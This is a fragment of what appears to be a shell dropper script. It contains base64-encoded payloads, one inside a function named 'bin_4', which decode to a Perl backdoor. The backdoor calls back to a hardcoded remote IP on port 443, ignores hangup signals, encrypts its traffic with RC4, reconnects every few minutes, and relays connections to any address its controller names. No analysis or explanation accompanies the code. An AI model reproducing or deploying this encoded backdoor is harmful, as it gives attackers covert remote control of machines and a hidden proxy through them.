OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_4() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjMnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg 